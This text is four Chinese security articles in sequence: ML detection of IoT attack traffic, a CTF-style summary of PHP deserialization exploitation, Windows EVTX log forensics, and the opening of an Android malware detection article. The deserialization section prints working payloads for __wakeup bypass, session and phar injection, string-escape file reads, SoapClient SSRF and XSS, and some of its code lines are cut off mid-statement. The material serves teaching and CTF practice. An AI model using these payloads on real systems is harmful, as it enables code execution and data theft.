利用AI检测IoT恶意流量
#前言
目前大量物联网设备及云服务端直接暴露于互联网,这些设备和云服务端存在的漏洞(如:心脏滴血、破壳等漏洞)一旦被利用,可导致设备被控、用户隐私泄露、云服务端数据被窃取等安全风险,甚至会对基础通信网络造成严重影响。为了促进物联网领域的安全研究,研究人员制作了UNSW-NB15数据集,这是一个基于物联网的网络流量数据集,对正常活动和恶意攻击行为进行了不同的分类。本文将基于该数据集,应用AI领域的典型技术,包括决策树、随机森林、逻辑回归、多层感知器等进行检测,希望师傅们可以从中了解AI技术应用于安全领域的典型流程,包括数据预处理、数据转换、交叉验证等,同时提升对物联网安全的新的认识。
#数据集
本次用到的数据集是UNSW-NB15,这是一个基于物联网的网络流量数据集,由新南威尔士大学堪培拉网络靶场实验室的 IXIA PerfectStorm工具创建,用于生成真实现代正常活动和合成当代攻击行为的混合数据集。 它们使用tcpdump 工具捕获 100 GB 的原始流量(例如 Pcap 文件)。
该数据集有九种类型的攻击,即 Fuzzers、Analysis、Backdoors、DoS、Exploits、Generic、Reconnaissance、Shellcode 和 Worms,当然为了方便大家使用,已经做了整理,把特征、标签都统计到了csv文件里。
如果希望详细了解该数据集的信息的话,可以参考[2][3][4]论文
该数据集中的一部分被做为训练集和测试集,即 UNSW_NB15_training-set.csv 和 UNSW_NB15_testing-set.csv。训练集中的记录数为 175,341 条记录,测试集中的记录数为 82,332 条记录,分别来自不同攻击类型、恶意和正常数据。
#数据预处理
导入所需库文件
数据集中的数据包括9种攻击类型,分别是Fuzzers, Analysis, Backdoors, DoS, Exploits, Generic, Reconnaissance, Shellcode和Worms。在csv文件最后的一列是标签,0代表郑,1代表攻击
加载训练数据UNSW_NB15_training.csv,检查前5行
可以看到前5行的记录都是正常的
加载数据后我们首先检测是否存在缺失值
面对存在缺失值的情况,最简单的方法就是直接启用包含缺失值的整行和整列
然后看看数据是否平衡,一方面是看9种攻击类型是否平滑(y1指代这方面的标签),一方面是看正常和恶意的数据量是否平衡(y2指代这方面的标签)
结果如下
可以看到数据集并不平滑,不过并不严重,我们继续往下分析
本来是需要手动拆分训练集和测试集的,不过UNSW_NB15已经拆分好了,比率为7:3
训练集和测试集分别在UNSW_NB15_training-set.csv 和 UNSW_NB15_testing-set.csv
如果需要手动拆分的话,使用下面的代码就可以了
我们加载测试集供后续使用
#数据转换
接下来需要转换数据
首先需要确定哪些列是分类数据(categorical),哪些列是数值数据(numerical)(分类数据也叫qualitative data或是Yes/No data,是定性的,而数值数据是定量的)
分别将其打印
对于分类数据应用OneHotEncoder,将其编码为独热数值数组
对于数值数据应用StandardScaler,通过去除均值和缩放到单位方差来标准化
构造ColumnTransformer对象,在X_train上进行fit即可
每个transformer分别转换x,将结果拼接起来
对测试集也进行同样的处理
转换后的数据不再是dataframe结构,而是类似于数组的结构
我们同样还需要转换y1,y1中一共有9类
我们直接用LabelEncoder就可以了,其用于规范化标签,使处理对象仅包含0和类别数-1 之间的值
截止目前,数据部分已经处理完成了,接下来就是训练模型了
#交叉验证
我们训练模型后,会使用5折交叉验证(cross validation,CV)进行验证,评估模型的指标包括准确率、准确率、召回率、F1 分数、ROC 的 AUC 值;然后使用测试集评估模型看看效果如何
我们以逻辑回归分类器为例
查看交叉验证结果
因为是5折交叉验证,所以每个指标都有5组数据,基本上我们会使用平均值来衡量校验验证的评估结果
比如打印出平均的准确率
#模型测试
在测试集上进行测试
结果如下
precision是精确率,也称作查全率,等于tp/(tp+fp);这是针对我们预测结果而言的,它表示的是预测为正的样本中有多少是真正的正样本
recall是查准率,也称召回率,等于tp/(tp+fn);这是针对我们原来的样本而言的,它表示的是样本中的正例有多少被预测正确了
从计算公式可以看出,其实就是分母不同,一个分母是预测为正的样本数,另一个是原来样本中所有的正样本数
如果看单个指标都过于片面,可以通过f1分数来评估模型性能,f1是recall和precision的加权平均,在上面可以看到在0.64左右
#其他机器学习方法
在sklearn已经实现了很多机器学习模型,我们只需要一条代码就可以换模型,除了逻辑回归之外,还可以试试决策树和随机森林
打印出模型的超参数
然后重复之前的步骤,来看看结果如何
可以看到,随机森林的效果是相对而言比较好的
#多层感知器
以上三个分类器都属于传统的机器学习方法,那么接着我们试试MLP,这是一种前向结构的神经网络。
结果如下
把这四种分类器放在一起看看哪种效果更好
可以看到随机森林的效果还是最好的。这也给我们一个提示,虽然现在深度学习、神经网络
是AI的最火热的技术,但是这并不意味着在所有任务上都是万能的,它们更大的优势是在处理海量数据、复杂任务上,对于一些基础的任务,可能传统的机器学习方法会有更好的效果。
相关实验:https://www.yijinglab.com/expc.do?ec=ECID4bd7-5a7d-4ee5-9ecd-1b35a7abfd92
#参考
1.https://www.unsw.adfa.edu.au/unsw-canberra-cyber/cybersecurity/ADFA-NB15-Datasets/
2.UNSW-NB15: a comprehensive data set for network intrusion detection systems (UNSW-NB15 network data set).
3.The evaluation of Network Anomaly Detection Systems: Statistical analysis of the UNSW-NB15 dataset and the comparison with the KDD99 dataset
4.Novel geometric area analysis technique for anomaly detection using trapezoidal area estimation on large-scale networks
5.http://www.caict.ac.cn/kxyj/qwfb/bps/201809/P020180919390470911802.pdf
6.《机器学习》
反序列化漏洞利用总结
反序列化无论在CTF比赛中,抑或是实战渗透中都起着重要作用,而这一直都是我的弱项之一,所以写一篇反序列化利用总结来深入学习一下
<!-- more -->
简单介绍
(反)序列化只是给我们传递对象提供了一种简单的方法。
serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象
在本质上,反序列化的数据是没有危害的,但是当反序列化数据是用户可控时,这时就会产生一些预期外的结果,也就可能存在危害
因此,反序列化的危害,关键在于可控或不可控,而我们找反序列化漏洞时,数据的可控与不可控也是一处着力点
在本文,不会着重讨论反序列化漏洞的形成原理,这已经被其他师傅讲得很透彻了,我在这里只是稍微总结一下思路,仅此而已
漏洞成因即利用思路
才疏学浅,若有错误,多加包涵
Magic function
Magic function,即我们常说的魔术方法,我们的反序列化漏洞也常常与这些相挂钩
__construct():构造函数,当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__destruct():析构函数,类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行,当对象被销毁时会自动调用。
__wakeup():如前所提,unserialize()时会检查是否存在 __wakeup(),如果存在,则会优先调用 __wakeup()方法。
__toString():用于处理一个类被当成字符串时应怎样回应,因此当一个对象被当作一个字符串时就会调用。
__sleep():用于提交未提交的数据,或类似的清理操作,因此当一个对象被序列化的时候被调用。
利用方式
__wakeup()
对应的CVE编号:CVE-2016-7124
存在的php版本: PHP5.6.25之前版本和7.0.10之前的7.x版本
漏洞成因:当对象的属性(变量)数大于实际的个数时,__wakeup可以被被绕过
demo
<?php
highlight_file(__FILE__);
error_reporting(0);
class convent{
var $warn = "No hacker.";
function __destruct(){
eval($this->warn);
}
function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
$cmd = $_POST[cmd];
unserialize($cmd);
?>
这边的 __wakeup是事件型的,如果没遇到unserialize就永远不会触发了,所以我们得先搞清楚先执行哪个方法,再执行哪个方法。
在这里,经过测试,我们可以得出__wakeup优先级高于 __destruct()
因为遇到了unserialize得先执行 __wakeup里面的内容,才能跑到我们想要的 __destruct()里面,所以得绕过这个 __wakeup
怎么绕过?
只要对象的属性(变量)数大于实际的个数时,__wakeup就可以被被绕过
<?php
class convent{
var $warn = "phpinfo();";
function __destruct(){
}
}
$a = new convent();
$b = serialize($a);
print_r($b);//O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";}
?>
然后更改变量数即可
O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";} >> O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}
存在多个魔法方法时,要弄清哪个魔法方法的优先级高
PHP session反序列化
这在我之前一篇https://mp.weixin.qq.com/s/EY5ZUA-FcjBdiSivCh1qpQ其实已经介绍得差不多了
漏洞成因:其主要原理就是利用序列化的引擎和反序列化的引擎不一致时,引擎之间的差异产生序列化注入漏洞
demo
在之前的高校战疫中考查过, 利用的就是php session的序列化机制差异导致的注入漏洞
相关题目: http://web.jarvisoj.com:32784/
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
仔细看了一遍发现题目没有入口,注意到有ini_set('session.serialize_handler', 'php')存在,猜测是否为session反序列化漏洞
看一下phpinfo
local value(当前目录,会覆盖master value内容):phpmaster value(主目录,php.ini里面的内容):php_serialize
这就很明显存在session反序列化漏洞了
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
所以可以通过Session Upload Progress来设置session
允许上传且结束后不清除数据,这样更有利于利用
我们在html网页源码上加入以下代码
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
接下来就是考虑怎么利用了,我们可以利用反序列化数据可控来达成我们的目的
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
?>
为了防止被转义,我们在双引号前加上反斜杠\
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
抓包上传,将filename改成我们的payload(要INI中设置的session.upload_progress.name同名变量)
这样我们就可以看到当前目录的文件了,再去phpinfo中查看当前目录
更改payload,利用print_r来读取目标文件
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
phar 反序列化
phar在网上已经有很多解释了,这里就不过多赘述,简单来说phar就是php压缩文档,不经过解压就能被 php 访问并执行
前提条件
php.ini中设置为phar.readonly=Off
php version>=5.3.0
漏洞成因:phar存储的meta-data信息以序列化方式存储,当文件操作函数(file_exists()、is_dir()等)通过phar://伪协议解析phar文件时就会将数据反序列化,并且可以不依赖unserialize()直接进行反序列化操作。
demo
根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作
<?php
class User{
var $name;
function __destruct(){
echo "Blackwatch";
}
}
@unlink("test.phar");
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//设置stub
$o = new User();
$o->name = "test";
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "Blackwatch");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
可以很明显看到我们的manifest(也就是meta-data)是以序列号形式存储的
在上面的demo中我们可以看到,当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,其他函数也是可以的
phar反序列化可以利用的函数
phar文件伪造
因为php对phar文件的识别是通过文件头stub来识别的,更准确的说是__HALT_COMPILER();?>这段代码,对于前面的内容和后缀名是没有要求的,我们可以利用这个特性将phar伪装成其他文件进行上传
phar 文件能够上传
文件操作函数参数可控, : ,/ phar 等特殊字符没有被过滤
有可用的魔术方法作为”跳板”
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
例题:SWPUCTF2018 SimplePHP
bypass phar:// 不能出现在首部
这时我们我们可以利用compress.zlib:// 或compress.bzip2://函数,compress.zlib://和compress.bzip2://同样适用于phar://
payload
compress.zlib://phar://phar.phar/test.txt
例题:巅峰极客 2020 babyphp2
字符逃逸
PHP 在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 .
当长度不对应的时候会出现报错
可以反序列化类中不存在的元素
漏洞成因:利用序列化后的数据经过过滤后出现字符变多或变少,导致字符串逃逸
字符串变多
[0CTF 2016]piapiapia
扫描目录发现有http://WWW.ZIP泄露,下载后用Seay源码审计一下
而我们对源码全局搜索时发现,只有config.php存在flag字段的内容,因此可以分析我们的初步思路
因为在profile.php 中: 存在文件操作函数file_get_contents()以及可控的参数 photo ,如果photo 为config.php 就能读取到flag
profile.php
update.php
class.php
我们可以看到这里的正则过滤掉了where(5)替换成了hacker(6)
在update.php 中对数组profile 进行序列化储存后,在profile.php 进行反序列化
我们注册后来抓个包,发现数组中元素的传递nickname也是位于photo之前的,所以我们可以想办法让nickname足够长,把upload那部分字段给”挤出去”
这就是反序列化长度变化尾部字符串逃逸
我们的目标是使photo字段的内容为config.php所以我们要的序列化数据闭合应为:";}s:5:"photo";s:10:"config.php";},34个字符
我们的目的是将";}s:5:"photo";s:10:"config.php";}插入序列化的字符串里面去,这个的长度为34,所以我们要挤出来34位,不然就成了nickname的值了
where(5)会替换成hacker(6),长度加1,所以我们要构造34个where
";} 是为了闭合nickname部分,而后面这部分s:5:"photo";s:10:"config.php";} ,就单独成为了 photo 的部分( 尾部字符串逃逸 ),到达效果
使用数组绕过nickname长度限制
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
发包后在/profile.php 页面复制头像的地址,进行base64decode得到flag
字符串变少
也有师傅称之为对象逃逸
俺没对象所以不用这个名称
原理与上者差不多,是经过序列化-->敏感字替换为空(长度变短)-->反序列化的过程之后再输出结果
直接看题
[安洵杯 2019]easy_serialize_php
源码如下
<?php$function = @$_GET['f'];function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img);}if($_SESSION){ unset($_SESSION);}$_SESSION["user"] = 'guest';$_SESSION['function'] = $function;extract($_POST
根据提示我们可以在phpinfo中看到flag 在 d0g3_f1ag.php 这个文件中,直接读取是不行的
$_SESSION 数组中有 user, funciton, img 这三个属性
img的值我们是控制不了的,进而无法读取到目标文件
我们把注意力转移到函数serialize上,这里有一个很明显的漏洞点,数据经过序列化了之后又经过了一层过滤函数,而这层过滤函数会干扰序列化后的数据
而且extract($_POST)存在变量覆盖漏洞
所以我们可以在这上面做文章
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对
当我们令_SESSION[user]为flagflagflagflagflagflag时,正常情况下序列化后的数据是这样的:正常情况下,序列化后的数据应为
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
但是因为过滤的原因,会变成这样
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}
可以看到,user的内容已经变为空,但是长度还是24,那么反序列化时就会自动往后读取24位,会读取到";s:8:"function";s:59:"a
";s:8:"function";s:59:"a其长度为24,作为一个整体成了user的值
因为php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而我们可以看到这是以{作为序列化内容的起点,}作为序列化内容的终点
后面";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}这部分被舍弃
因此我们可以控制$userinfo["img"]的值,达到任意文件读取的效果
所以payload为
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
读取完d0g3_f1ag.php后,得到下一个hint,获取到flag文件名
Pop chain
严格来说,这更多像一种方法,就像玩乐高一样把一个个魔术方法串联起来,POP CHAIN 更多的是在类之间,方法之间的调用上,由于方法的参数可控存在危险函数,导致了漏洞,,实也是在代码逻辑上出现的问题
在编写Pop 链的exp的时候,,类的框架几乎不变,只需要做一些修改
pop chain的构造这里就不展开讨论了,毕竟这点位置来讲还不如去看一下github上师傅们挖出来的链实在,后面有机会可以写一下反序列化链构造的思路
SoapClient
SoapClient 类搭配CRLF注入可以实现SSRF, 在本地生成payload的时候,需要修改php.ini 中的 ;extension soap 将注释删掉即可
漏洞成因:因为SoapClient 类会调用 __call 方法,当执行一个不存在的方法时,被调用,从而实现ssrf
exp
<?php$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?>
LCTF 2018 bestphp's revenge
exp
import requestsimport reurl = "http://7c3ee1c8-bf16-4e25-bd02-db385135a819.node4.buuoj.cn/"payload = '|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'r = requests.session()data = {'serialize_handler': 'php_serialize'}res = r.post(u
Exception
与SoapClient一样,是属于PHP原生类
漏洞成因:php 的原生类中的Error 和Exception 中内置了toString 方法, 可能造成xss漏洞
<?php$s = new Exception("<script>alert(1)</script>");echo urlencode(serialize($s));?>
总结
除了上面这些,还可以和sql注入,命令执行等结合,这里就不再一一赘述,php反序列化漏洞的利用,其实是与xss,sql注入等十分相似的,都是一种闭合-构造,以改变原本代码结构进而达到漏洞利用的目的的思路
Windows 取证之EVTX日志
0x0、概述
evtx文件是微软从 Windows NT 6.0(Windows Vista 和 Server 2008) 开始采用的一种全新的日志文件格式。在此之前的格式是 evt 。evtx由Windows事件查看器创建,包含Windows记录的事件列表,以专有的二进制XML格式保存。
0x1、EVTX文件结构
evtx文件主要由三部分组成:
file header (文件头)
chunks (数据块)
trailing empty values (尾部填充空值)
File Header(文件头):
文件头长度为4KB(4096bytes),其结构如下:
偏移长度(Bytes)值描述0x008"ElfFile\x00"标志位/签名0x088
第一个区块编号(存在时间最久的区块编号)0x108
当前区块编号(块的编号从0开始)0x188
下一条事件记录的ID0x204128文件头有效部分的大小0x2421次要版本0x2623主要版本0x2824096文件头的大小0x2A2
区块的数量0x2C76
未知 (空值)0x784
文件标志0x7C4
文件头前 120 bytes 的CRC32校验和0x803968
未知 (空值)
我们可以使用Hex编辑器打开一个evtx文件查看一下:
Chunk(块):
每个块的大小是 65536 bytes(64KB),主要由三部分组成:
chunk header 块头
array of event records 事件记录组
unused space 未使用的空间
chunk头长度为512bytes,其结构如下:
偏移长度(Bytes)值描述0x008"ElfChnk\x00"标志位/签名0x088
基于日志编号的第一条日志记录的ID0x108
基于日志编号的最后一条日志记录的ID0x188
基于文件编号的第一条日志记录的ID0x208
基于文件编号的最后一条日志记录的ID0x284128chunk头大小0x2C4
最后一条日志记录的偏移量(相对于块头的起始偏移量)0x304
下一条日志记录的偏移量(相对于块头的起始偏移量)0x344
事件记录数据的 CRC32 校验和0x3864
Unknown (空值)0x784
Unknown (flags?)0x7C4
块头CRC32校验和(块头前120个字节和128至512字节的数据的CRC32校验和)
Event record(事件记录):
事件记录的长度非固定长度,其结构如下:
偏移长度(Bytes)值描述0x004"\x2a\x2a\x00\x00"标志位/签名0x044
事件记录的长度0x088
记录ID0x108
日志记录的写入时间(FILETIME)0x18不确定
基于二进制XML编码的信息不确定4
记录长度(副本)
由上面的信息,可知evtx日志文件包含一个4KB的文件头加后面一定数量的64KB大小的块,一个块中记录一定数量(大约100条)的事件记录。每个块是独立的,不受其他块影响。不会出现一条事件记录的数据存在于两个块中。每条记录包含一个基于二进制XML编码的信息。每条事件记录包含其创建时间与事件 ID(可以用于确定事件的种类),因此可以反映某个特定的时间发生的特定的操作,取证人员可以根据日志文件来发现犯罪的过程。
evtx日志文件大概的结构如下所示:
在windows事件查看器中查看:
0x2、EVTX文件的存储
Windows事件日志文件保存在%SystemRoot%\System32\Winevt\Logs路径中。
常见日志文件主要有三个,分别是:System.evtx 、Application.evtx 和Security.evtx。分别是系统日志、应用程序日志和安全日志。
System.evtx
记录操作系统自身组件产生的日志事件,比如驱动、系统组件和应用软件的崩溃以及数据丢失错误等等。
Application.evtx
记录应用程序或系统程序运行方面的日志事件,比如数据库程序可以在应用程序日志中记录文件错误,应用的崩溃记录等。
Security.evtx
记录系统的安全审计日志事件,比如登录事件、对象访问、进程追踪、特权调用、帐号管理、策略变更等。Security.evtx也是取证中最常用到的。
默认情况下,当一个evtx文件的记录满了,日志服务会覆盖最开始的记录,从头开始写入新的记录。也就是相当于一个循环记录的缓存文件。
0x3、Evtx日志分析
Windows 用 Event ID来标识事件的不同含义,拿Security日志来说,一些常见的Event ID 如下:
事件ID描述4608Windows 启动4609Windows 关机4616系统时间发生更改4624用户成功登录到计算机4625登录失败。使用未知用户名或密码错误的已知用户名尝试登录。4634用户注销完成4647用户启动了注销过程4648用户在以其他用户身份登录时,使用显式凭据成功登录到计算机4703令牌权限调整4704分配了用户权限4720已创建用户账户4725账户被禁用4768请求Kerberos身份验证票证(TGT)4769请求Kerberos服务票证4770已续订Kerberos服务票证4779用户在未注销的情况下断开了终端服务器会话
1、通过Windows事件查看器分析日志
通过Windows事件查看器可以查看当前主机的事件日志,也可以打开保存的 evtx文件。
可以通过点击、筛选、查找等多种方式查看事件日志
筛选器提供了丰富的筛选方式:
2、通过工具分析Evtx
Log Parser
Log Parser(是微软公司自己开发的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统的事件日志、注册表、文件系统、Active Directory。它使用类似 SQL 语句一样查询分析这些数据,还可以把分析结果以图表的形式展现出来。
Log Parser下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=24659
使用方法:
logparser -i:输入文件的格式 -o:输出文件的格式 "查询语句 和文件路径"
例子:
查询登录成功的事件:
LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM E:\Security.evtx where EventID=4624"
还有其他的语法,具体可以查看其帮助信息
>LogParser.exeMicrosoft (R) Log Parser Version 2.2.10Copyright (C) 2004 Microsoft Corporation. All rights reserved.Usage: LogParser [-i:<input_format>] [-o:<output_format>] <SQL query> | file:<query_filename>[?param1=value1+...] [<input_format_options>] [<output_f
Log Parser Studio
logparser的GUI版本。
下载地址:https://techcommunity.microsoft.com/t5/exchange-team-blog/log-parser-studio-2-0-is-now-available/ba-p/593266
其界面如下:
Event Log Explorer
Event Log Explorer 是一个非常好用的Windows 日志分析工具,下载地址:https://eventlogxp.com/
LogParser Lizard
LogParser Lizard 是一个功能丰富的Windows 日志分析软件,可以通过类似SQL查询语句对日志筛选查询进行分析。
下载地址:https://lizard-labs.com/log_parser_lizard.aspx
Evtx Explorer/EvtxECmd
具有标准化CSV、XML和json输出的事件日志(Evtx)解析器!
下载地址:https://ericzimmerman.github.io/#!index.md
使用方法:
EvtxECmd.exe -f 日志文件 --xml 输出路径
解析的xml文件结构如下:
0x4、Evtx取证实战
题目来源:Cynet应急响应挑战赛
描述:GOT Ltd 的人力资源主管King-Slayer认为他的电脑上有可疑活动。
2020 年 2 月 8 日,15:00 左右,他发现桌面上出现了一个带有 kiwi标志的文件。据他描述,该文件首次出现在他的桌面后不久就突然消失了。那天晚些时候,他开始收到消息告诉他需要重新激活 Windows Defender。他激活了 Windows Defender,几个小时后又收到了同样的消息。
他决定将这件事告诉他在 IT 部门的朋友——Chris。Chris立即将此事报告给了 GOT 的网络安全部门。
该公司的 CISO 立即打电话求助我们,GOT有限公司总部设在瑞士,CISO 向我们发送了来自 King-Slayer的 PC 和域控制器的所有事件日志文件。他希望我们查出异常:
提示:
用户帐户 (KingSlayer) 是他电脑上的本地管理员。
域名 -> GOT.Com
DC 服务器名称 -> WIN-IL7M7CC6UVU
Jaime(King Slayer)的主机名->DESKTOP-HUB666E(172.16.44.135)
提交攻击者使用的域用户帐户(King-Slayer除外)以及他使用此用户帐户访问的主机的IP地址。
我们拿到的文件包括DC服务的日志和主机日志文件:
给出的文件还有一个提示就是PassTheHash ,表明攻击者使用了该技术。
传递哈希是一种黑客技术,它允许攻击者使用用户密码的基础NTLM或LanMan哈希对远程服务器或服务进行身份验证,而不是像通常情况下那样要求使用关联的明文密码。它取代了仅窃取哈希值并使用该哈希值进行身份验证而窃取明文密码的需要。--via 维基百科
通过日志交叉比对和筛选查找,我们确定了在2020-2-9 21:59左右,有异常登录行为
注意:Windows EVTX 的FILETIME 是 UTC时间,注意转化为瑞士当地时间。
我们发现用户Daenerys在2020年2月9日21:59 (当地时间15:59)通过SMB协议登录到WIN-IL7M7CC6UVU(域控制器),而且使用了PSExec.exe 利用Deanerys用户登录了域控服务器。攻击者可能使用了Mimikatz拿到了Daenerys用户的哈希,然后用于横向移动渗透到DC。
参考资料
https://github.com/williballenthin/python-evtxWindows EVTX日志恢复与取证技术研究 https://xuewen.cnki.net/CMFD-1018252760.nh.html
Android恶意软件检测
0x01 前言
本文将介绍如何利用机器学习技术检测安卓恶意软件,在前文会介绍相关基础知识,在后文则以实战为导向,介绍如何使用支持向量机检测安卓恶意软件,以及通过可解释性技术解释模型的决策结果,最后介绍如果对该模型发动对抗样本攻击。
0x02 支持向量机
在机器学习中,支持向量机(英语:support vector machine,常简称为SVM,又名支持向量网络)是在分类与回归分析中分析数据的监督式学习模型与相关的学习算法。
给定一组训练实例,每个训练实例被标记为属于两个类别中的一个或另一个,SVM训练算法创建一个将新的实例分配给两个类别之一的模型,使其成为非概率二元线性分类器。SVM模型是将实例表示为空间中的点,这样映射就使得单独类别的实例被尽可能宽的明显的间隔分开。然后,将新的实例映射到同一空间,并基于它们落在间隔的哪一侧来预测所属类别。
相关实验:<支持向量机检测DGA>:https://www.yijinglab.com/expc.do?ec=ECIDd5fb-5379-4f4b-862e-db7ab18b3a19(了解支持向量机的原理,学习SVM是怎么应用于检测DGA的。)
0x03 可解释性技术
接着介绍本文用到的可解释性技术,来自于[2][3]两篇论文。
我们使用的数据集是Drebin,该数据集包含来自 179 个不同恶意软件家族的 5,560 个应用程序,样本是在2010年8月至 2012年10月期间收集的,由MobileSandbox 项目提供。其主页为:https://www.sec.cs.tu-bs.de/~danarp/drebin/
数据集的每个特征都是一个布尔变量,0表示不存在该特征,1表示存在该特征。
如下所示:
安卓样本(apk文件)在特征空间中表示为向量,然后用一组带有标签的数据集进行训练,来区分良性样本和恶意样本。在测试时,则用训练得到的分类器判别样本文件。如果其输出f(x)>0,则将其归类为恶意样本,否则归类为良性样本。我们希望利用可解释性技术解释模型做出对应决策的理由。
以前的可解释性技术关注梯度,更一般的说法就是围绕输入点x的线性近似值给解释技术提供了有用的信息。设f是与预测类别相关的置信度,其认为与局部梯度 ∇f(x) 的最大绝对值相关的那些特征识别是最能影响决策结果的特征。然而,对于稀疏数据(比如安卓恶意软件)来说,那些方法给出的最有影响力的特征往往不在给定的样本中,从而难以解释相应的预测结果。
因此,我们采用不同的方法。我们将梯度 ∇f (x) 投影到 x 上以获得特征相关(feature-relevance)向量 ν = ∇f(x) · x ∈ Rd,其中 · 表示元素乘积。然后我们将 ν 归一化为一元 l1 范数,即 r =v/||v|,以确保只有 x 中的非空特征被识别为与决策结果相关。 最后,可以将 r 的绝对值按降序排列以识别对决策结果最具影响的特征。
应用提出的解释性技术,下表中给出了SVM(顶行)和 RF(底行) (i) 良性样本(第一列),(ii)SM SWA TCHER 家族的恶意软件样本(第二列),以及 (iii) PL ANKTON家族的恶意软件样本(第三列)的最能影响判决结果的前10个特征,并给出了每个特征在 BENING (pB ) 和恶意软件 (pM ) 中存在的可能性。
0x04 对抗样本技术
然后介绍本文用到的对抗样本技术,来自于[4][5]两篇论文。
我们可以将生成的对抗样本形式化为:
其中,x’是与生成的对抗样本z’相关的特征空间,wˆ 是攻击者估计的权重向量。
这个式子本质上告诉攻击者应该修改哪些特征以最大程度地降低分类函数的值,即最大化逃避检测的概率。注意,根据操作约束 Ω(z)(例如如果特征值是有界的),要操作的特征集对于每个恶意样本通常是不同的。
攻击者的目标是最小化上面的式子,但是对于每个特征独立地估计 wˆ 的每个分量为:
这相当于鼓励攻击者添加(删除)在良性样本中更频繁出现(不存在)的重要特征,使恶意样本的概率分布更接近良性数据的概率分布。
在本部分最后,再捎带介绍后文会提到的两个概念。
F1分数:
F1分数(F1 Score)是统计学中用来衡量二分类模型精确度的一种指标。 它同时兼顾了分类模型的精确率和召回率。 F1分数可以看作是模型精确率和召回率的一种调和平均,它的最大值是1,最小值是0。
ROC曲线:
ROC 曲线(接收者操作特征曲线)是一种显示分类模型在所有分类阈值下的效果的图表。该曲线绘制了以下两个参数:真正例率TPR(在我们下面的实战中,就是恶意样本的检出率),假正例率FPR。
0x05实战
我们下载该数据集并解压:
简单查看一下数据:
可以看到共下载了12550个样本,其中良性样本数量为12000,恶意样本数量为550。
我们使用支持向量机对其进行检测,首先用一半的数据集作为训练集,在其上进行训练:
其中,CClassifierSVM类的定义如下:
训练完成后打印其F1分数:
绘出ROC曲线:
接着我们来尝试使用XAI技术(可解释性AI)来解释训练得到的模型是以什么为依据将样本判定为良性或恶意。
我们使用基于梯度的解释方法:
CExplainerGradientInput类定义如下,我们在下面会用到其explain方法:
我们尝试对于一个良性样本和一个恶意样本,给出解释并分别列出对决策结果最大的前10个特征。
先来看对良性样本的解释:
这里的true class:0,是说该样本为良性样本。对应地,下图中true class:1则说明其为恶意样本。
我们来看看返回的结果,负号说明这些特征是与决策结果负相关,或者换句话说,如果出现这些特征,那么样本是良性的可能性大。
